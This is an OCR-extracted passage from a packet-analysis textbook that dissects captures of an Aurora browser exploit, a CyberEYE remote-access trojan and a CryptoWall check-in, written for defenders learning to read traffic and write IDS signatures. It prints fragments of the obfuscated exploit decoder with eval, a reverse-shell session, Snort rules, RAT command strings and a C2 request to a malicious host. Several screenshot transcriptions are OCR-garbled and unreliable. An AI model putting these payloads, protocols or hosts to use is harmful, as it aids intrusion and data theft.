3526f7c7d701F75287b167507725F632369205e29797F5525417152616039315c78786d05644a7 2037 2302a6d592a6f 3d 
44364b774322767b6153693f7c4164136313637c2a314F3973704966573355602328701f782b7c1175077F506e7469205 
€7b7e7a55254623526460396c08787d6d@569107F5672302a6d597b6F 3d1669462743227129665d693f 2e13364763136e 
762a364F397e29433657335460717F701F75727c16750722506e7 26920537b2c7d55254b7752646039615b78726d05364 
77#5672302a365e746f 3d4436147f4322777b315c693F7c116245631331217e624F 392c7d4963573300337174701F7572 
7116750772076e7569205e742c7d5525467f 0336039615375 796d05644a74517230756d53756f 3d43364b2443227c7d6 


3 client pkefs), wae ee 5 tum(s). 




































































Entire conversation (12 kB) X Show data as (ASCI v Stream |0 [H 
Find: 
Hide this stream Print Save as... Close | Help 

















Figure 12-19: This scrambled content within a <script> tag appears to be encoded. 
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This content appears to be a series of random numbers and letters 
inside a <script> tag ®. The <script> tag is used within HTML to denote the 
use of a higher-level client-side scripting language whose code is executed on 
the HTTP client. Within this tag, you normally see various scripting state- 
ments. But the gibberish here indicates that the content may be encoded to 
hide it from detection. Since we know this is exploit traffic, we can assume 
that this obfuscated section of text contains the hexadecimal padding and 
shellcode used to exploit the vulnerable service. 


Script obfuscation is a common technique used by malware to evade detection and 
hide malicious content. While deobfuscating scripts is beyond the scope of this book, 
it’s a skill you'll develop if you continue to examine malware communication. Many 
skilled malware analysts can recognize malicious scripts instantly with a quick visual 
inspection. If you want to challenge yourself, try to manually deobfuscate the script 
found in this example. 


In the second portion of the content sent from the attacker, shown in 
Figure 12-20, we finally see some text that is readable. Even without exten- 
sive programming knowledge, we can see that this text appears to do some 
string parsing based on a few variables. This is the last bit of text before the 
closing </script> tag. 





M Wireshark - Follow TCP Stream (tcp.stream eq 0) « aurora = o x 





#7¢2978140c@776@5672110205a2F7a2c2c2542255633193965097c2e1495601176020b307c365a28163d403342223a22 A 
752f650e103f781360161a1367267c3136397a2b40342e3356347528091F7c2978140c077605672110205a2F7a2c2c254 
2255633193965097c2e1405601176020b307c365a28163d403342223a22752F650e103F781360161a1367267c3136397a 
2b40342e3356347528091f7c2978140c077605672110205a2f7a2c2c2542255633193965097c2e1405601176020b307c3 
65a28163d403342223a22752f650e103F781360161a1367267c3148772c2702705a2F466a657c6e4a256a74501d1731e 
1e082e200c@91d@a391c1c1420270c212c121e1e1F371500050a2e352e302838301802113b05053F1139330706123dea3 
9312e0F222962390F222d3c186b522F4d7c6c37180FO932013d3207202300070519041e0c 38393d0b3e3403120b10180F 
263100321704122d153e14230f29202425142b2c0f30363c2924233d1c0b1b1b48332438344a716a384b2d04271477316 
€684a201e2615013909031a223b23322d3b@b2029230707130115140128643b0233372a033a2022215131' ; 


var RXb = ''; 
for (i = @;i<IwpVuiFqihVySoJStwXmT.length;i+=2) { 
RXb += 


String. fromCharCode(parseInt (IwpVuiFgihVySoJStwXmT.substring(i, i+2), 16)); 


var vuWGWsvUonxrQzpqgBXPrZNSKRGee = location.search.substring(1); 
var NqxAXnnXilLOBMwVnKognbp = ''; 
for (i=@;i<RXb.length;i++) { 
NqxAXnnXiILOBMwVnKognbp += 
String. fromCharCode(RXb.charCodeAt(i) ^ vuWGWsvUonxrQzpqgBXPrZNSKRGee. charCodeAt (i 
%vuWGWs vUonxrQzpqgBXPrZNSKRGee. length) ); 


window[ "eval" .replace(/[A-Z]/g,"") ](NqxAXnnXiILOBMwVnKognbp) ; 


</script> 

</head> 

<body> (1) 

<span id="vhQYFCtoDn0zUOuxAf LDSZzVMIHYhj JoJAOCHNZtQd1xSPFUeEthCGdRtily"><iframe src="/ 
infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif" @ 
onload="WisgEgTNEfaONekEqaMyAUALLMYW(event)" /></span></body></html> 
































</body> v 
3 dient pkefs), 10 server pktfs), 5 surn(5). 
Entire conversation (12 kB) 7 Show data as ASCII 7. Stream |0 + 
Find: Find Next 
Hide this stream Print Save as... Close Help 











Figure 12-20: This portion of the content sent from the server contains readable text and a 
suspicious iframe. 


The last section of data sent from attacker to client, also shown in 
Figure 12-20, has two parts. The first is the <span id="vhQYFCtoDnOzUOuxAf1DS 
ZVMIHYhjJojAOCHNZtOd1xSPFUeEthCGdRtilY"> section ®. The second, contained 
within the <span></span> tags, is <iframe src="/infowTVeeGDYJWNfsrdrvXiYApnuPoC 
MjRxSZuktbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif" onload="WisgEgTNEfaONekE 
qaMyAUALLMYW(event)" /> @. Once again, this content may be a sign of mali- 
cious activity due to the suspiciously long and random strings of unreadable 
and potentially obfuscated text. 

The portion of the code contained within the <span> tag is an iframe, 
which is a common method used by attackers to embed additional unex- 
pected content into an HTML page. The <iframe> tag creates an inline 
frame that can go undetected by the user. In this case, the <iframe> tag 
references an oddly named GIF file. As shown in Figure 12-21, when the 
target’s browser sees the reference to this file, it makes a GET request for it 
in packet 21 @, and the GIF is sent immediately following that @. 





No. Time 
21 1.288241 
22 1.488200 
23 1.489366 
24 1.650958 





Source 


Destination Protocol Info 


192.168.100.206 192.168.100.202 HTTP Oca /infowTVeeGDYIWNf srdrvXiYApnuPoCMjRrSZuktbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif HTTP/1.1 
192.168.100.202 192.168.100.206 TCP 80 + 1031 [ACK] Seq=3036736951 Ack=3982971911 Win=64518 Len=@ 

192.168.100.202 192.168.100.206 HTTP Oinesi.1 200 OK (GIF89a) (GIF89a) (image/gif) 

192.168.100.206 192.168.100.202 TCP 1031 + 80 [ACK] Seq=3982971911 Ack=3036737098 Win=64093 Len=0 








Figure 12-21: 


The GIF specified in the iframe is requested and downloaded by the target. 


The most peculiar part of this capture occurs at packet 25, when the 
target initiates a connection back to the attacker on port 4321. Viewing 
this second stream of communication from the Packet Details pane doesn’t 
yield much information, so we will once again view the TCP stream to get 
a clearer picture of the data being communicated. Figure 12-22 shows the 
Follow TCP Stream window output. 

In this display, we see something that should set off immediate alarms: 

a Windows command shell @. This shell is sent from the target to the server, 
indicating that the attacker’s exploit attempt succeeded and the payload was 
dropped. The client transmitted a command shell back to the attacker once 
the exploit was launched. In this capture, we can even see the attacker inter- 
acting with the target by entering the dir command @ to view a directory list- 
ing on the target’s machine ®. 

Assuming the exploit has compromised a process running as an admin- 
istrator or migrated into one, the attacker can do virtually anything they 
wish to the target’s machine. With just a single click, in a matter of seconds, 
the target has given complete control of their computer to an attacker. 

Exploits like this are typically encoded to be unrecognizable when going 
across the wire to prevent them from being picked up by the network IDS. As 
such, without prior knowledge of this exploit or even a sample of the exploit 
code, it might be difficult to tell exactly what is happening on the target’s 
system without further analysis. Luckily, we were able to pick out some tell- 
tale signs of malicious code in this packet capture. This includes the obfus- 
cated text in the <script> tags, the peculiar iframe, and the command shell 
seen in plaintext. 
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M Wireshark - Follow TCP Stream (tcp.stream eq 1) - aurora = o x 





ATI `..1.d.RO.R..R..r(..J&1.1..<a]., .. 


BPEL EP S A E Aa e eye Dis FE 
E etl E 1h) R e BAALE SEEE $$[[aYZQ..X_Z....]hcmd. ..WWW1.j.YV..f.D$<...D 
$...DTPVWFVNWSVhy.?..... AVES ah aaah Wiis nes < 


...U..G.roj.S..Microsoft Windows XP [Version 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp. @ 


C:\Documents and Settings\Administrator\Desktop>dir @ 

dir 

Volume in drive C has no label. 

Volume Serial Number is 84AA-C05E 

Directory of C:\Documents and Settings\Administrator\Desktop 


07/13/2010 05:33 PM <DIR> 
07/13/2010 05:33 PM <DIR> 


07/13/2010 05:33 PM <DIR> data © 

07/13/2010 05:33 PM <DIR> docs 

07/13/2010 05:34 PM 227 passwords.txt 
1 File(s) 227 bytes 


4 Dir(s) 19,271,598,080 bytes free 


C:\Documents and Settings\Administrator\Desktop> 








4 client pke(s), 3 server pktfs)}, 3 turn(s). 














Entire conversation (899 bytes) N Show data as | ASCII z Stream |1 |$ 
Find: | Find Next 
Hide this stream Print Save as... Close Help 








Figure 12-22: The attacker is interacting with a command shell through this connection. 


Here is a summary of how the Aurora exploit worked here: 


e The target receives an email from the attacker that appears to be legiti- 
mate, clicks a link within it, and sends a GET request to the attacker’s 
malicious site. 


e The attacker’s web server issues a 302 redirection to the target, and the 
target’s browser automatically issues a GET request to the redirected URL. 


e The attacker’s web server transmits a web page containing obfuscated 
JavaScript code to the client that includes a vulnerability exploit and an 
iframe containing a link to a GIF image, which is requested. 


e The JavaScript code transmitted earlier is deobfuscated when the page 
is rendered in the target’s browser, and the code executes on their 
machine, exploiting a vulnerability in Internet Explorer. 


e Once the vulnerability is exploited, the payload hidden within the 
obfuscated code is executed, opening a new session from the target 
to the attacker on port 4321. 


e A command shell is spawned from the payload and shoveled back to the 
attacker, so that they may interact with it. 


From a defender’s point of view, we can use this capture file to create 
a signature for our IDS that might help detect further occurrences of this 
attack. For example, we might filter on a nonobfuscated part of the capture, 
such as the plaintext code at the end of the obfuscated text in the <script> 


ratinfected.pcapng 


tag. Another idea might be to write a signature for all HTTP traffic with a 
302 redirection to a site with info in the URL. This signature would need 
some additional tuning to be viable in a production environment, but it’s 
a good start. Of course, it’s also important to remember that signatures 
can be defeated. If the attacker simply changes a few of the strings we’ve 
observed here or delivers the exploit through another mechanism, our 
signatures could be rendered useless. Thus is waged the eternal struggle 
between attackers and defenders. 


The ability to create traffic signatures based on malicious traffic samples is a crucial 
slep for someone attempting to defend a network against unknown threats. Analyzing 
captures such as the one described here are a great way to develop skills in writing those 
signatures. To learn more about intrusion detection and attack signatures, visit the 
Snort project at http://www.snort.org/. 


Remote-Access Trojan 


So far, we’ve examined security events with some prior knowledge of what 
is going on. This is a great way to learn what attacks look like, but it’s not 
very real world. In most real-world scenarios, people tasked with defending 
a network won’t examine every packet that goes across the network. Instead, 
they will use some form of IDS to alert them to anomalies in network traffic 
that warrant further examination based on a predefined attack signature. 

In the next example, we’ll begin with a simple alert, as if we’re the real- 
world analyst. In this case, our IDS generates this alert: 


[**] [1:132456789:2] CyberEYE RAT Session Establishment [**] 
[Classification: A Network Trojan was detected] [Priority: 1] 
07/18-12:45:04.656854 172.16.0.111:4433 -> 172.16.0.114:6641 

TCP TTL:128 TOS:0x0 ID:6526 IpLen:20 DgmLen:54 DF 

***xĄp*** Seq: OX53BAEBSE Ack: 0x18874922 Win: OxFAFO TcpLen: 20 





Our next step is to view the signature rule that triggered this alert: 





alert tcp any any -> $HOME_NET any (msg:"CyberEYE RAT Session Establishment"; 
content:"|41 4E 41 42 49 4C 47 49 7C|"; classtype:trojan-activity; 
sid:132456789; rev:2;) 





This rule is set to alert whenever it sees a packet from any network 
entering the internal network with the hexadecimal content 41 4E 41 42 
49 4C 47 49 7C, which converts to ANA BILGI in human-readable ASCII. 
When it is detected, an alert fires, signifying the possible presence of the 
CyberEYE remote-access trojan (RAT). RATs are malicious programs that 
run silently on a target’s computer and provide a means for the attacker 
to remotely access the target’s machine. 


CyberEYE is a once popular Turkish-born tool used to create RAT executables and 


administer compromised hosts. Ironically, the Snort rule seen here fires on the string 
ANA BILGI, which is Turkish for BASIC INFORMATION. 
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Now we'll look at some traffic associated with the alert in ratinfected 
.pcapng. This Snort alert would typically capture only the single packet 
that triggered the alert, but fortunately we have the entire communication 
sequence between the hosts. To skip to the punch line, search for the hexa- 
decimal string mentioned in the Snort rule, as follows: 


1. Select Edit > Find Packet or press CTRL-F. 

2. Select the Hex Value option from the drop-down menu. 

3. Enter the value 41 4E 41 42 49 4C 47 49 7C into the text area. 
4. Click Find. 


As shown in Figure 12-23, you should now see the first occurrence of 
the hexadecimal string in the data portion of packet 4 9. 





Frame 4: 68 bytes on wire (544 bits), 68 bytes captured (544 bits) on interface @ 
Ethernet II, Src: Vmware_@7:ae:27 (@0:0c:29:07:ae:27), Dst: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee) 
Internet Protocol Version 4, Src: 172.16.@.111, Dst: 172.16.0.114 
Transmission Control Protocol, Src Port: 4433 (4433), Dst Port: 6641 (6641), Seq: 1404758878, Ack: 411519266, Len: 14 
V Data (14 bytes) 
Data: 414e4142494c47497¢3535360d0a (1) 
[Length: 14] 





@@ 25 b3 bf 91 ee 00 Gc 29 07 ae 27 03 00 45 00 
@@ 36 19 7e 40 00 80 06 88 42 ac 10 00 6f ac 10 
00 72 11 51 19 f1 53 ba eb Se 18 87 49 22 50 18 
@03@ fa fO be 2b 00 00 ETRE ETE PT ED 


e040 E 








O 7 Data Gata.data), 14 bytes Packets: 779 * Displayed: 779 (100.0%) * Load time: 0:0.8 || Profile: Default 








Figure 12-23: The content string in the Snort alert is first seen here in packet 4. 


If you select Find several more times, you will see that this string also 
occurs in packets 5, 10, 32, 156, 280, 405, 531, and 652. Although all of the 
communication in this capture file is between the attacker (172.16.0.111) 
and target (172.16.0.114), it appears as though some instances of the 
string occur in different conversations. While packets 4 and 5 are com- 
municating using ports 4433 and 6641, most of the other instances occur 
between port 4433 and other randomly selected ephemeral ports. We can 
confirm that multiple conversations exist by looking at the TCP tab of the 
Conversations window, as shown in Figure 12-24. 

We can visually separate the different conversations in this capture file 
by colorizing them, as follows: 


1. In the filter dialog above the Packet List pane, type the filter (tcp.flags 
«syn == 1) && (tcp.flags.ack == 0). Then press ENTER. This will select the 
initial SYN packet for each conversation in the traffic. 


2. Right-click the first packet and select Colorize Conversation. 
3. Select TCP and then select a color. 


4. Repeat this process for the remaining SYN packets, choosing a differ- 
ent color for each. 


5. When finished, click X to remove the filter. 








4 Wireshark 


+ Conversations - ratinfected = oO x 





























Ethernet-1 IPv4-1 IPv6 TCP-8 UDP 
A 
AddressA PortA AddressB PortB Packets Bytes PacketsA—B BytesA—B PacketsB—A BytesB—A Rel Start Duration Bits/sA—B Bits/s B — A 
172.16.0.114 6641 172.16.0.111 4433 48 2989 24 1589 24 1400  0.000000000 132.129609 96 84 
172.16.0.114 6642 172.16.0.111 4433 10 585 6 343 4 242 0.012008000 132.117839 20 14 
172.16.0.114 6643 172.16.0.111 4433 120 91k 87 89k 33 1807 74.205235000 0.066042 10M 218k 
172.16.0.114 6644 172.16.0.111 4433 120 91k 87 89k 33 1807 84.209773000 0.070058 10M 206k 
172.16.0.114 6645 172.16.0.111 4433 121 94k 89 92k 32 1753 94,225097000 0.072995 10M 192k 
172.16.0.114 6646 172.16.0.111 4433 122 94k 91 93k 31 1699 104,238408000 0.071781 10M 189k 
172.16.0.114 6647 172.16.0.111 4433 119 91k 87 89k 32 1753 114,238812000 0.070326 10M 199k 
172.16.0.114 6648 172.16.0.111 4433 119 91k 87 89k 32 1753 118.445540000 0.066413 10M 211k 
C Name resolution Limit to display filter 
| Copy a Follow Stream... Graph... [ Close | | Help =] 





Figure 12-24: Three individual conversations exist between the attacker and target. 


Having colorized the conversations, we can clear the filter to see how 
they relate to each other, helping us to track the communication process 
between the two hosts. The first conversation (ports 6641/4433) is where 
the communication between the two hosts begins, so it’s a good place to 
start. Right-click any packet within the conversation and select Follow TCP 
Stream to see the data that was transferred, as shown in Figure 12-25. 





4 Wireshark + Follow TCP Stream (tcp.stream eq 0) « ratinfected - o x 





ANABILGI|5560 ^ 
ANABILGI|192.168.126.143|US|rat1|NO|Administrator / CSANDERS-6F7F77|Windows XP Service Pack 
3|Intel(R) Core(TM)2 Duo CPU T9600 @ 2.80GHz|511 MB|1.2|7/18/2010| @ 
BAGLIMI? 

BAGLIMI? 

BAGLIMI? 

BAGLIMI? © 

BAGLIMI? 

BAGLIMI? 

BAGLIMI? 

CAPSCREENG® @ 

BAGLIMI? 

CAPSCREENGO 

BAGLIMI? 

CAPSCREEN6® 

BAGLIMI? 

CAPSCREEN6@ 

BAGLIMI? 

CAPSCREEN6@ 

CAPSCREENG@ 

BAGLIMI? 

BAGLIMI? 








14 client pkes), 7 server pke(s). 11 turn(s). 
Entire conversation (373 bytes) = Show data as | ASCII ai Stream |0 > 


- | 


(Hide this stream Print Save as... Close Help 





























Figure 12-25: The first conversation yields interesting results. 


Immediately, we see that the text string ANABILGI|556 is sent from the 
attacker to the target @. Asa result, the target responds with some basic 
system information, including the computer name (CSANDERS-6F7F77) and 
the operating system in use (Windows XP Service Pack 3) @, and begins 
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repeatedly transmitting the string BAGLIMI? back to the attacker ©. The 
only communication back from the attacker is the string CAPSCREEN60 @, 
which appears six times. 

This CAPSCREEN60 string returned by the attacker is interesting, so let’s 
see where it leads. To do so, make sure you’ve cleared any display filters and 
search for the text string CAPSCREEN60 within the packets using the search 
dialog, specifying the String option and ensuring the Packet bytes option is 
selected for where to perform the search. 

Upon performing this search, we find the first instance of the string in 
packet 27. The intriguing thing about this bit of information is that as soon 
as the string is sent from the attacker to the client, the client acknowledges 
receipt of the packet, and a new conversation is started in packet 29. You 
should be able to more easily notice the new conversation starting because 
of the coloring rules that were applied earlier. 

Now, if we follow the TCP stream output of this new conversation 
(shown in Figure 12-26), we see the familiar string ANABILGI|12, followed 
by the string SH|556 and, finally, the string CAPSCREEN|C: \WINDOWS\jpgevhook 
.dat |84972 ®. Notice the file path specified after the CAPSCREEN string, which 
is followed by unreadable text. The most intriguing thing here is that the 
unreadable text is prepended by the string JFIF @, which a quick Google 
search will tell you is commonly found at the beginning of JPG files. 





























4 Wireshark - Follow TCP Stream (tcp.stream eq 2) - ratinfected - o x 
ANABILGI|12 a 
SH|556 

CAPSCREEN|C: a dat|s49720 

ecsces JEIF . wcccccecses cl 

@ 
RT A RSE r A 

@uAFLNRSR2>Zaz°" IQRO.. eCoccccce &. .&05-500000000000000000000000000000000000000000000000000 

Woks ce cvccccccccccccccccccccccscccesccsecce 

wecnnccccassecasecese ITEE! SAU Ma byes rr ek ele 

$C) *456789- CDEFGHT SS TUVMKY 2COCT EEE | SEUVIKY2 oon cnn wee ea eles idee le ines ania eel ileal eee eelesniaens 
occ cececceccccccesces bso oe lea) Us nb tees #3R..br 

$4. 

baa £"(()*56789=COEFGHIISTUMUNY Zcdet ahi |Stuvecy2. << c cece wc cae ccccecccecceccensecaecacuuccsen 
maceneecancnasananannceacesaatsacamane ?..Glw.MR.\1...%.1....0.. .yX. 2.022222 KSIR//V.@b...3.#p 
lonssedhtec ote he a soneisas 8H#.q..q- ree 

[Q as... Obsinsn r TELEF red ATA fe SUA ee Le el -A.e.)@..d..eRr.G?N. 

ero oe ver =| Rul art Pe Brig A so Pe e@{..D. Bry MN hea. .8. NT 5». 

sZLvesces Zo oKecccoce a7fn..... De j-q- aRGf. a sheotocoe™(es pest B- +\..h.j..I. 

ST eccce Bo 2 eYeooece ae -F.k8.9C. eee. e-eee FLP. S Se 

pE PRN E A A T E crass Secs rer er ha .j6. ‘UIM.I.(.-. )k Ce ema T Ma. \ 
P ETE v 
84 dient pke{s), 1 server pke(s), 1 turn(3). 

Entire conversation (85 kB) X Show data as ASCII he Stream |2 |$ 
Find: ] Find Next 

Hide this stream Print Save as... Close Help 








Figure 12-26: The attacker appears to be initiating a request for a JPG file. 
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At this point, it’s safe to conclude that the attacker initiated the request 


to transfer this JPG image. But even more importantly, we are beginning to 
see a command structure evolve from the traffic. It appears that CAPSCREEN is 
a command sent by the attacker to initiate the transfer of this JPG. In fact, 
whenever the CAPSCREEN command is sent, the result is the same. To verify 
this, view the TCP stream of each conversation where the CAPSCREEN com- 
mand is present or try using Wireshark’s IO graphing feature as follows: 


Select Statistics >» IO Graph. 
Click the plus (+) button to add five lines. 


Insert the filters tcp.stream eq 2, tcp.stream eq 3, tcp.stream eq 4, 
tcp.stream eq 5, and tcp.stream eq 6, respectively, into the Display Filter 
of the five newly added lines. Give each one a name as well. 

Change the y-axis scale for each entry to Bytes/s. 


Click the Graph 1, Graph 2, Graph 3, Graph 4, and Graph 5 buttons to 
enable the data points for the filters specified. 


Figure 12-27 shows the resulting graph. 








































































































M Wireshark - IO Graphs - ratinfected - o x 
Wireshark IO Graphs: ratinfected 
105000 F 
—— All packets 
Stream 2 
90000 + Stream 4 
Stream 5 
Stream 6 
Stream 3 
75000 F 
60000 F 
45000 F 
30000 F 
15000 f 
L f f fl 1 1 
20 40 60 80 100 120 
Time (s) 
No packets in interval (88s). 
Name Display filter Colo Style Y Axis Y Field Smoothing 
K All packets E ine Packets/s None 
EZ] Stream 2 tcp.stream eq 2 BB ie Bytes/s None 
E Stream 3 tcp.stream eq 3 BB line Bytes/s None 
© Stream 4 tcp.stream eq 4 TB iine Bytes/s None 
| Stream 5 tcp.stream eq 5 BB ie Bytes/s None 
© Stream 6 tcp.stream eq 6 BB line Bytes/s None 
+/\-| |b Mouse @ drags ©) zooms Interval | 1sec X Time of day Log scale Reset 
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Figure 12-27: This graph shows that similar activity appears to repeat. 


Based on this graph, it appears as though each conversation contains 


roughly the same amount of data and occurs for the same amount of time. 
We can now conclude that this activity repeats several times. 
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You may already have some ideas regarding the content of the JPG 
image being transferred, so let’s see if we can view one of these files. To 
extract the JPG data from Wireshark, perform the following steps: 


l. First, follow the TCP stream of the appropriate packets as we did with 
Figure 12-25. Packet 29 is a good choice. 


2. The communication must be isolated so that we see only the stream of 
data sent from the target to the attacker. Do this by selecting the arrow 
next to the drop-down that says Entire Conversation (85033 bytes). Be sure 
to select the appropriate directional traffic, which is 172.16.0.114:6643 
--> 172.16.0.111:4433 (85 kB). 


3. In the Show data as drop-down, choose RAW. 


4. Save the data by clicking the Save As button, ensuring that you save the 
file with a .jpg file extension. 


If you try to open the image now, you may be surprised to find that 
it won’t open. That’s because we have one more step to perform. Unlike 
the scenario in Chapter 10 where we extracted a file cleanly from FTP 
traffic, the traffic here added some additional content to the data. In this 
case, the first two lines seen in the TCP stream are actually part of the 
malware’s command sequence, not part of the data that makes up the JPG 
(see Figure 12-28). When we saved the stream, this extraneous data was 
also saved. As a result, the file viewer that is looking for a JPG file header 
is seeing content that doesn’t match what it is expecting, and therefore it 
can’t open the image. 














M Wireshark - Follow TCP Stream (tcp.stream eq 2) - ratinfected ze x 








SH|556 
CAPSCREEN|C: pare uaa dat | 84972 Extraneous Data 
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172. 16.0. 114:6643 — 172. 16.0. 111:4433 (85 kB) = Show data as ASCII v Stream |2 z 
Find: | | [Find next 
Hide this stream Print Save as... Close Help 











Figure 12-28: The extraneous data added by the malware prevents the file from 
being opened correctly. 


Fixing this issue is a painless process, requiring a bit of manipulation 
with a hex editor. This process is called file carving. To carve this file from 
the exported data, complete the following process: 


1. While viewing the TCP Stream in Figure 12-28, click the Save as but- 
ton. Choose a memorable filename and save the file to a location where 
you can access it again shortly. 

2. Download and then install WinHex from hitps://www.x-ways.net/winhex/. 

3. Execute WinHex and open the file you just saved from Wireshark. 


4. Use your mouse to select all the extraneous data at the beginning of the 
file. This should be everything occurring before, but not including, the 
bytes FF D8 FF E0, which signify the start of a new JPG file. The bytes to 
select are highlighted in Figure 12-29. 








{Bi WinHex - image2,jpg] m o x 
HBX File Edit Search Navigation View Tools Specialist Options Window Help 19.1 SR-1 

1 Slow ie Beats | Ma Ae | +e S3ea/ æ Ri 
image2jpg 

offset 0 1-2 3 4 5 6 7 8 9 A B C D EF 1011 a 


00000000 53 48 7C 35 35 36 0A 43 41 50 53 43 52 45 45 4E 7C 43 SH|556 CAPSCREEN|C 
00000012 3A SC 57 49 4E 44 4F 57 53 5C 6A 70 67 65 76 68 6F 6F :\WINDOWS\jpgevhoo 


00000024 6B 2E 64 61 74 7C 38 34 39 37 32 OA FF D8 FF EO 00 10 k.dat|84972 yaya 
00000036 4A 46 49 46 00 01 01 00 00 01 00 01 00 00 FF DB OO 43 JFIF yoc 
00000048 00 OD 09 OA OB OA 08 OD OB OA OB OE OE OD OF 13 20 15 

OOOOOOSA 13 12 12 13 27 1C 1E 17 20 2E 29 31 30 2E 29 2D 2C 33 g -)10.)-,3 
0000006C 3A 4A 3E 33 36 46 37 2C 2D 40 57 41 46 4C 4E 52 53 52 :J>36F7,-@WAFLNRSR 
0000007E 32 3E 5A 61 5A 50 60 4A 51 52 4F FF DB 00 43 01 OF OF 2>ZaZP`JQROÿÔ C 
00000090 OE 13 11 13 26 15 15 26 4F 35 2D 35 4F 4F 4F 4F 4F 4F & &05-5000000 
000000A2 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 45 4F 4F O00000000000000000 








000000B4 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 000000000000000000 





Figure 12-29: Removing the extraneous bytes from the JPG file 


5. Press the Delete key to remove the selected data. 


6. Click the Save button in WinHex’s main toolbar to save your changes. 


I like WinHex for performing this task on Windows, but any hex editor you're familiar 
with will do. 


With the unneeded bytes of data removed, you should now be able 
to open the file. It should be clear that the trojan is taking screen cap- 
tures of the target’s desktop and transmitting them back to the attacker 
(Figure 12-30). After these communication sequences have completed, the 
communication ends with a normal TCP teardown sequence. 

This scenario is a prime example of the thought process an intrusion 
analyst would follow when analyzing traffic based on an IDS alert: 


e Examine the alert and the signature that generated it. 


e Confirm whether the signature match was in the traffic in the proper 
context. 


e Examine traffic to find out what the attacker did with the compromised 
machine. 


e Begin containment of the issue before any more sensitive information 
leaks from the compromised target. 
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Figure 12-30: The JPG being transferred is a screen capture of the target's computer. 


Exploit Kit and Ransomware 


cryptowall4_c2 


-pcapng, 


ek_to_cryptowall4 


-pcapng 
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In our final scenario, we’ll look at another investigation that begins with 

an alert from an IDS. We’ll explore the live packets being generated from 
the infected system and then attempt to trace the source of the compro- 
mise. This example will utilize real malware that you would be likely to find 
infecting a device in your network. 

The story beings with an IDS alert generated from Snort in the Sguil 
console, shown in Figure 12-31. Sguil is a tool used to manage, view, and 
investigate IDS alerts from one or more sensors. It doesn’t provide the most 
attractive user interface, but it’s been around for a while and is a very popu- 
lar tool for security analysts. 

There is a lot of information about this alert available in Sguil. The 
upper window ® shows a summary of the alert. Here you see the time the 
alert was generated, the source and destination IP addresses and ports, the 
protocol, and the event message generated from the matching IDS signa- 
ture. In this case, 192.168.122.145, the local friendly system, is communicat- 
ing with an unknown external system at 184.170.149.44 over port 80, which 
is commonly associated with HTTP traffic. The external system is assumed 
to be hostile since it has shown up in relation to a signature indicating mali- 
cious communication and very little is known about it. The signature that 
matched this traffic is representative of check-in traffic from the CryptoWall 
malware family, suggesting that a strain of this malware is installed on the 
friendly system. 


File Query Reports Sound: 


SGUIL-0.9.0 - Connected To localhost 
Off ServerName: localhost UserName: sanders UserID: 2 2017-02-16 22:04:58 GMT| 


RealTime Events | Escalated Events’ a) 


CNT | Sensor 


1 soreplay-... 


Alert ID Date/Time Src IP DPort |Pr vent Message 


2.8 2016-07-15 18:59:54 192.168.122.145 49357 184.170.149.44 ET TROJAN CryptoWall Check-in (1) 





IP Resolution 1 Agent S 


2 


soreplay-os... 
soreplay-ethO 
soreplay-ethO 
soreplay-ethO 
soreplay-ethO 





he 
Update Interval (secs): w 








Figure 12-31: This 


M Show Packet Data V Show Rule 
Jalert http $HOME_NET any > $EXTERNAL_NET any (msg:"ET TROJAN CryptoWall Check-in"; flow:established,to_server; urilen:<134; content: 

http_client_body; content:" MSIE "; fast_pattern; http_user_agent; content:"Accept | 3a 20|*/*| 0d Oa | Content-Type | 3a 20| application/x-www-form-urlencoded | 0d 
|0a |"; depth:62; http_header; content:!"| 0d Oa |Accept-"; nocase; http_header; content:!"Referer |3a |"; http_header; pcre:"/[\/=][a-20-9]{8,}$/U"; 
pcre:"/A[a-z]=[a-f0-9]{80,}$/P"; reference:md5,3c53c9f7ab32a09de89bb44e5f91f9af; classtype:trojan-activity; sid:2018452; rev:15;) 
\/nsm/server_data/securityonion/rules/soreplay-eth0/downloaded.rules: Line 13680 





Source IP Dest IP TTL ChkSum 
192.168.122.145 [184.170.149.44 | | | 12369 


Source Dest 
Port Res Window Urp ChkSum 


0 |61988 


*/*. .Content-Typ 
e: application/x 
-www-form-urlenc 
oded. .Connection 
: Close..Content 
-Length: 131..Us 
ler-Agent: Mozill 
a/4.0 (compatibl 
le; MSIE 7.0; Win 
dows NT 6.1; WOW 
64; Trident/7.0; 
SLCC2; .NET CLR 
2.0.50727; .NET 
CLR 3.5.30729; 

«NET CLR 3.0.307 
29; Media Center 
PC 6.0)..Host: 

homealldaylong.c 
om. .Cache-Contro 
l: no-cache._- 








Search Packet Payload | © Hex @ Text [ NoCase 











IDS alert indicates a CryptoWall 4 infection. 


The Sguil console provides the syntax of the matching rule @ and the 
individual packet data that matched the rule ©. Notice that the packet infor- 
mation is broken down into protocol header and data sections, similar to 
how packet information is presented in Wireshark. Unfortunately, Sguil only 
provides information about a single packet that matched, and we need to 
dig deeper. The next step is to examine the traffic associated with this alert 
in Wireshark to attempt to validate the traffic and see what’s going on. That 
traffic is contained in the file cryptowall4_c2.pcapng. 

This packet capture contains the communication that was happening 
around the time of the alert, and it isn’t overly complex. The first conversa- 
tion occurs in packets 1 through 16, and we can view it easily by following the 
TCP stream of that conversation (Figure 12-32). At the start of the capture, 
the local system opens a TCP connection to the hostile host on port 80 and 
makes a POST request to the URL http://homealldaylong.com/76N1Lm.php? 
x4tk7t4j06 ® containing a small amount of alphanumeric data @. The hostile 
host responds with an alphanumeric string @ and an HTTP 200 OK response 
code ® before the connection is terminated gracefully. 
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M Wireshark - Follow TCP Stream (tcp.stream eq 0) - cryptowall4_c2 = o x 





POST /76N1Lm.php?n=x4tk7t4jo6 HTTP/1.1 @ 
Accept: */* 
Content-Type: application/x-www-form-urlencoded 
Connection: Close 
Content-Length: 131 
User-Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.@; SLCC2; .NET CLR 
2.@.50727; .NET CLR 3.5.3@729; .NET CLR 3.@.30729; Media Center PC 6.0) 
Host: homealldaylong.com 
